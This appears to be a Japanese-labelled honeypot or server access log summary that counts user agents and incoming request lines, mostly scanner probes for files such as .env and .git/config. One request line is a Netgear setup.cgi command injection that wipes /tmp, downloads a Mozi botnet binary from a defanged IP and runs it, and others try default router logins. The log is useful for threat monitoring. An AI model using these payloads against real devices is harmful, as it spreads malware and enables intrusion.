2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
1 Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 920) like Geckoo
1 Mozilla/5.0 (X11; CrOS x86_64 14816.131.5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
1 Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
1 Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
3 Mozilla/5.0 zgrab/0.x
3 Mozilla/5.0
1 python-requests/2.32.3
8 xfa1

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 MGLNDD_13.67.44.234_80
2 \x03
3 \x16\x03\x01\x01\v\x01
1 \x16\x03\x01\x02
1 \x16\x03\x01\x05\xa8\x01
6 \x16\x03\x01
3 \x16\x03\x02\x01o\x01
1 CONNECT example[.]com:80 HTTP/1.1
3 CONNECT www[.]google[.]com:443 HTTP/1.1
27 GET /.env HTTP/1.1
2 GET /.git/config HTTP/1.1
1 GET /?%3Cplay%3Ewithme%3C/%3E HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /actuator/health HTTP/1.1
6 GET /admin/assets/js/views/login.js HTTP/1.0
2 GET /admin/config.php HTTP/1.0
1 GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0
1 GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0
3 GET /cdn-cgi/trace HTTP/1.1
1 GET /cmd.cgi HTTP/1.1
6 GET /favicon.ico HTTP/1.1
2 GET /geoserver/web/ HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//103[.]78[.]148[.]233:39363/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /sitemap.xml HTTP/1.1
1 GET /web HTTP/1.1
1 GET /webui/ HTTP/1.1
2 PRI * HTTP/2.0
1 t3 12.1.2